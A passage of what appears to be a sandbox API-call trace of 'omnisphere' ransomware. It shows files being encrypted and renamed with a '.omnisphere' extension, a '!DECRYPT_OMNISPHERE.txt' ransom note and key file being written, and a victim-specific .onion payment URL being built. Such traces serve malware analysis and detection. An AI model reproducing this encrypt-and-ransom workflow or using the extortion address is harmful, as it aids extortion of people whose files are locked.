[0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.291] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.292] CryptDestroyKey (hKey=0x1639528) returned 1 [0138.292] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0138.292] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x452, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0138.292] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0138.293] GetProcessHeap () returned 0x1600000 [0138.293] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f4) returned 0x1725608 [0138.293] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk.omnisphere")) returned 1 [0138.719] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk.omnisphere.id" [0138.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0138.828] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0138.830] CloseHandle (hObject=0x3b4) returned 1 [0138.928] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0138.929] CloseHandle (hObject=0x388) returned 1 [0138.930] SetEndOfFile (hFile=0x3c0) returned 1 [0139.108] FlushFileBuffers (hFile=0x3c0) returned 1 [0139.112] CloseHandle (hObject=0x3c0) returned 1 [0139.112] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned 1 [0139.112] GetProcessHeap () returned 0x1600000 [0139.112] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1725908 [0139.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0139.112] GetProcessHeap () returned 0x1600000 [0139.112] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdb40 [0139.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdb40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0139.112] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0139.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0139.113] GetProcessHeap () returned 0x1600000 [0139.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710460 [0139.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0139.113] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0139.113] GetProcessHeap () returned 0x1600000 [0139.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x16c0ea0 [0139.113] PathCombineW (in: pszDest=0x16c0ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" [0139.113] GetProcessHeap () returned 0x1600000 [0139.113] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171c288 [0139.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0139.113] WriteFile (in: hFile=0x3c0, lpBuffer=0x171c288*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171c288*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0139.114] CloseHandle (hObject=0x3c0) returned 1 [0139.281] GetProcessHeap () returned 0x1600000 [0139.281] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725908 | out: hHeap=0x1600000) returned 1 [0139.281] GetProcessHeap () returned 0x1600000 [0139.281] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172c258 [0139.281] PathCombineW (in: pszDest=0x172c258, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" [0139.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0139.281] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0139.282] CloseHandle (hObject=0x3c0) returned 1 [0139.375] GetProcessHeap () returned 0x1600000 [0139.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c258 | out: hHeap=0x1600000) returned 1 [0139.375] GetProcessHeap () returned 0x1600000 [0139.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0db0 | out: hHeap=0x1600000) returned 1 [0139.375] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4382ea4e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0xbf, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 0 [0139.375] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0139.485] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x33c8bf13, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x33c8bf13, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x33c8bf13, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x33c8bf13, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f768c7d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f768c7d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34045a2e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2f768c7d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f768c7d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f768c7d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f768c7d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2f7b4f65, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magnify.lnk.omnisphere", cAlternateFileName="MAGNIF~1.OMN")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7b4f65, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f7b4f65, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f7b4f65, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magnify.lnk.omnisphere.id", cAlternateFileName="MAGNIF~1.ID")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2f8277b1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Narrator.lnk.omnisphere", cAlternateFileName="NARRAT~1.OMN")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8277b1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f8277b1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f8277b1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Narrator.lnk.omnisphere.id", cAlternateFileName="NARRAT~1.ID")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33f60c49, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="On-Screen Keyboard.lnk.omnisphere", cAlternateFileName="ON-SCR~1.OMN")) returned 1 [0139.485] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c8bf13, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x33c8bf13, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x33d96f7b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="On-Screen Keyboard.lnk.omnisphere.id", cAlternateFileName="ON-SCR~1.ID")) returned 1 [0139.486] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f78ed67, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f78ed67, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x341e93e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0139.486] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f78ed67, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f78ed67, 